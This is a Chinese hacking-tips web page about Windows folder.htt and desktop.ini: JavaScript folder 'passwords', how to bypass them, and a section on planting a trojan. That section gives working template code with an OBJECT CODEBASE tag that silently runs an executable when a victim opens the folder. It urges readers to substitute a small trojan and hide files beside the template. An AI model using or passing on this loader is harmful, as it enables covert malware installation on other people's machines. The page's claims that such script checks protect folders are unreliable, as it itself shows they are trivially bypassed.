黑客技术网_学习网络安全知识

文章介绍：

• 1、如何在文件夹里设置密码?
• 2、关于desktop.ini folder.htt
• 3、预防黑客入侵，手把手告诉你文件夹如何加密

如何在文件夹里设置密码?

利用Windows自带功能我们就能轻松的为文件夹设定密码。

1．在Windows 9X/Me/2000中

进入要加密的文件夹，点击右键，在弹出的菜单中选择“自定义文件夹“。接下来在向导中点击“下一步”，选择“自定义”并勾选“选择或编辑该文件夹的Html模板”，在模板类型中选择“标准”，并选中“编辑该模板”，点击下一步（在Win98中稍有不同，直接在向导中选择“创建或编辑HTML文档”即可）。此时将会打开一个名为“Folder”的文本文件。在该文件中找到＜script language="javascript"＞字段，在其下方输入以下内容（中文双引号内为注释内容，不需要输入）：

var pass=prompt("Please Enter the Password");“prompt命令后的括号内输入进入文件夹后的提示用语，可以为中文。分号可省略。可此行必须单独一行”

if(pass!="123")“密码为123，也可以设置为其他密码”

{window.location="c:"}“若密码错误，则进入C盘，也可以设为别的分区，但是只能为根目录”

保存后退出该文件设置便可以起效。folder.htt文件在创建后，下次需要更改设置我们就可以直接在文件夹中找到folder.htt文件，用记事本打开后进行修改，保存后设置即可生效。若是在WinMe操作系统，则没有＜script language="javascript"＞字段，我们要找的字段是＜script＞，把上面的内容放在该字段后即可。

2．在Windows XP中

在Windows XP中的“自定义文件夹”中没有相应的选项对模板进行编辑，而且直接编辑其中的folder.htt文件也无效。这时候我们可以“曲线救国”：先在Windows2000中按以上方式建立一个加密的文件夹，然后把该文件夹整体复制到Windows XP中即可。

通过以上的方法，我们可以完成对私人文件夹的加密。虽然比较简单，但是也能起到一定的作用，特别是对于那些无意窥视他人隐私的人来讲。

文件夹解密：

当然，以上的加密是非常脆弱的，下面我就向大家介绍一下如何对此类文件夹进行解密操作，当你在加密后却忘记了密码的时候，就能派上用场了。当然，可不能利用这个去做坏事哦。

方法一（适用于Windows98/Me系统）：进入一个未加密的文件夹，点击菜单栏上的“查看”命令，取消“按Web页查看”选项。再次点击“查看”，选择“文件夹选项”，在弹出的对话框中选择“查看”选项卡。点击“与当前文件夹类似”，确定后即可取消本机上所有文件夹的加密。

方法二：采用方法一将会取消对所有已加密文件夹的加密属性，无法对单个文件夹进行解密操作，而且不适用于Win2000、XP系统。其实，不管是在98系统还是2000/XP系统下，破解这种类型的加密文件夹有一个通用的方法，我们甚至可以像进入自己的文件夹那样进入到加密的文件夹：假设被加密的文件夹为d：lj，那么只需要在地址栏中输入d：ljfolder settingsfolder.htt，就可以打开改设置文件（folder.htt）。我们只要在改文件中找到进行加密的几行代码，密码就毫无保留的呈现在了我们面前。记下了密码，再打开加密的文件夹，我们就可以轻松进入了！

关于desktop.ini folder.htt

浅析Desktop.ini文件的一些奇妙用途

发布日期: 2004-12-30 20:59:28 作者: 文/阿雄 字体:【大 中 小】【打印本页】

娱乐/搞笑/体育视频免费看！ 彩信/短信开发平台 免费测试您的IT潜质! 美萍洗浴、餐饮管理系统

您还记得当初大名鼎鼎的“欢乐时光”病毒吗？感染该病毒的硬盘中会有多个Desktop.ini和Folder.htt文件，就算你删除了目录中的这两个文件，当你再次打开该目录时，它们又像幽灵一样出现了。

再问大家一个与此相关的问题：在Windows系统中，重复文件最多的什么呢？答案是Desktop.ini文件！在Windows目录及其下的Favorites、System、Fonts、Tasks文件夹中都有该文件的身影！正是由于该文件的存在，使得它们在外观或其他方面也与普通的文件夹有所区别。下面笔者就谈谈这两个文件的一些奇妙用途。

一、给文件夹加上密码

在学校的机房和校园网络的管理中，是否经常会碰到这样的情况：一些计算机常因学生误删了Windows目录或SYSTEM目录下的一些系统文件而导致无法正常启动。是否有方法可以把Windows及其它重要目录保护起来呢？方法是有的，我们只需在这个Folder.htt文件中进行必要的修改，就可改变文件夹打开的方式。比如，要想在打开该文件夹前先进行安全认证，可这样修改这个Folder.htt。

在C盘的Windows文件夹中找到Folder.htt文件（该文件为隐藏文件，并且后来经过编辑与笔者共同验证，该文件不同的系统内容也不尽相同，本文种主要是Windows 98下的），打开Folder.htt文件。找到以下内容：

＜a href=''class=command onclick='ShowFiles()； ShowWinStat(winStat)； return false；' onMouseOver='ShowWinStat(!winStat)； return true；' onMouseOut='ShowWinStat(winStat)； return true；' onFocus='ShowWinStat(!winStat)； return true；' onBlur='ShowWinStat(winStat)； return true；'＞显示文件＜/a＞。"；

将其修改为：

＜a href=''class=command onclick='ShowFiles()； ShowWinStat(winStat)； return false；' onMouseOver='ShowWinStat(!winStat)； return true；' onMouseOut='ShowWinStat(winStat)； return true；' onFocus='ShowWinStat(!winStat)； return true；'

onBlur='ShowWinStat(winStat)； return true；'＞输入密码＜/a＞。"；

（2）找到function ShowFiles() {

Info.innerHTML = L_Intro_Text + "＜br＞＜br＞" + L_Prompt_Text；

showFiles = true；

document.all.FileList.style.display = ""；

document.all.Brand.style.display = "none"；

FixSize()；

}

修改为： ★function ShowFiles()

{var password=prompt("请输入密码:","")；

if (password=="你的密码"){Info.innerHTML = L_Intro_Text + "＜br＞＜br＞" + L_Prompt_Text；

showFiles = true；

document.all.FileList.style.display = ""；

document.all.Brand.style.display = "none"；

FixSize()；}

else{alert("警告，密码错误！您无权浏览该目录")；}}

（3）保存修改后的Folder.htt文件，退出Windows文件夹。

完成上述操作步骤后，再进入Windows目录时，系统提示输入密码，只有输入正确的密码才能进行该目录。通过修改打开行为的代码，就可实现对某个目录的简单加密。

当然，这种加密目录很容易解开：不使用Web方式打开文件夹，避开执行该程序，或直接从DOS中进入该文件夹都可绕开密码的输入。

如果你使用的是Windows 2000系统，可以找到

………………

＜script language="JavaScript"＞

然后在后面加上以下代码：

var pass =prompt("enter the password")

if (pass!="密码")

{window.location="d:"}

就可以给文件夹加上访问口令！这样你的文件夹就多了一层保护。

二、任意文件夹和硬盘分区的保护

根据同样的原理，我们可对任意文件夹及硬盘分区设置保护口今。具体操作步骤如下：

（1）打开要加密的文件夹或硬盘分区，选择文件菜单中的“查看→自定义文件夹”。

（2）在打开的“自定义文件夹”窗口中，如图1所示选择“创建或编辑HTML文档”，单击“下一步”按钮，再单击“下一步”按钮，关闭记事本编辑窗口，单击“完成”按钮。在当C盘Windows目录下找到Folder.htt文件，把它复制到当前文件夹中，覆盖原来的Folder.htt文件。

（3）打开Folder.htt文件，找到★var L_Intro_Text= "＜b＞＜font color=red＞警告＜/font＞＜/b＞＜br＞＜br＞修改该文件夹的内容可能导致程序运行不正常。"；★（警告内容），将其修改为“自定义的内容”。完成Folder.htt的文件修改后，再进入相应的文件夹或硬盘分区，则需要提供正确口令，否则无法显示该文件夹的内容。

图1

（一）、利用文件夹安装木马

黑客可以利用文件夹来安装木马，其目的是对方只要打开某个文件夹就自动安装木马文件。知己知彼方能百战不殆，让我们了解一下其原理和方法。

图2

[page]

1.先在以目录下建立一个文件夹test文件夹，进入刚建的文件夹test点击“工具”菜单选择“文件夹选项”项（图2）；出来文件夹选项对话框如图所示（图3），把“隐藏受保护的操作系统文件（推荐）”前面打上“√”，接着出现一个警告窗口，如图所示（图4），直接点击“是”。再把“隐藏文件和文件夹”下选择“显示所有文件和文件夹”，最后点击确定在本目录下出现了Folder settings隐藏文件夹和Desttop.ini隐藏文件如图所示（图5）。

图3

图4

图5

2.现在点击“查看”菜单选择“自定义文件夹”项（图6），打开的“自定义文件夹”窗口，选择其中的“创建或编辑HTML文档”，单击“下一步”按钮，再单击“下一步”按钮，然后关闭记事本编辑窗口，单击“完成”按钮，就把文件夹设置成按WEB方式打开文件夹。再打开要放木马的文件夹,我们就在这个文件夹里测试。Folder.Htt是文件夹的模板文件，现在我们修改文件夹的模板文件，在里面插入一端自动运行程序的代码：

＜script language="javascript"＞

run_exe="＜OBJECT ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject""

run_exe+="CODEBASE="test.exe#version=1,1,1,1"＞"

run_exe+="＜PARAM NAME="_Version" value="65536"＞"

run_exe+="＜/OBJECT＞"

document.open()；

document.clear()；

document.writeln(run_exe)；

document.close()；

＜/script＞

图6

就是这段里面的test.exe为你要安装的木马文件，这里为了给大家看到效果我运行的是LC4。

3.现在我们把要运行的test.exe文件也copy到这个文件夹里，好了，我们现在把文件查看属性修改回去，就是步骤1的逆过程。

4.OK，如果你不想要木马立即运行，请把窗口直接关闭，等管理员来运行吧。让我们来看看效果，退出test文件夹然后双击test文件夹图标，如图所示（图7），怎么样，运行了吧，大家可以把test.exe换成小点的木马，这样对方就在不知道的情况下给自己装了木马。其实大家如果要有什么文件要隐藏的话，就可以放到folder.htt和同目录下，把文件夹属性设置回去以后，用搜索都找不到这个文件。

图7

三、总结

好了，Folder.htt和Desktop.ini文件的好的应用和需要注意的都讲了，是不是觉得很有意思也很恐怖哦！现在我们说一下防范与解决办法：

1.查看文件夹时，去掉以“Web页方式”的选项。虽然我们看不见什么个性化目录了，但我们换来是安全，我认为值！但是，也请大家注意，如果不采用“WEB方式”查看文件夹前面介绍过的技巧和应用就不能正常显示了，有得就有失啊。

2.如果没有什么需要，去掉默认共享和共享目录。要是需要，公共用户也要加上密码，密码只有内部人知道。只要能上传文件，你的机器就很危险。除了上边的方法，还可以用MIME漏洞，ASP漏洞入侵，如果是Windows 98还有共享方法。所以一定要把好关！

3.脚本病毒的一大特征就是利用WSH。要是服务器最好去掉WSH，这样能低御许多脚本病毒。方法是：在“控制面板”里选择“添加/删除程序”，选择“Windows安装程序”里的附件，再选择“详细资料”中的“Windows Scripting Host”把它卸载掉。

预防黑客入侵，手把手告诉你文件夹如何加密

在电脑上下载一个文件夹保护3000.

然后在文件夹上单击鼠标右键，在弹出菜单中选择“文件夹保护”。在弹出的文件夹保护窗口中，保护类型选择“加密码”，然后在设置文件夹密码窗口中设置加密密码，点击“确定”。加密完成。加密后的文件夹没有密码是无法打开的，非常的安全